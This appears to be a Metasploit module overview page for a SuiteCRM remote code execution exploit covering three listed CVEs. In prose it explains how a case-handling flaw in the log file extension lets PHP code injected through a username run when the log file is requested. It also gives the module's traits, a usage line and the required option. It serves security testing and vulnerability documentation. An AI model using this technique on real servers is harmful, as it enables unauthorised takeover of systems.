Module Overview

Last modification time: 2021-10-22 22:11:51 +0000
Supported architecture(s): ARCH_X64, ARCH_CMD, ARCH_X86
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-28320, CVE-2020-28328, CVE-2021-42840

This module exploits an input validation error on the log file extension parameter. It does not properly validate upper/lower case characters. Once this occurs, the application log file will be treated as a php file. The log file can then be populated with php code by changing the username of a valid user, as this info is logged. The php code in the file can then be executed by sending an HTTP request to the log file. A similar issue was reported by the same researcher where a blank file extension could be supplied and the extension could be provided in the file name. This exploit will work on those versions as well, and those references are included.

Module Ranking and Traits

Module Ranking:

• good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Reliability:

• repeatable-session: The module is expected to get a shell every time it runs.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

msf exploit(suitecrm_log_file_rce) > exploit

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
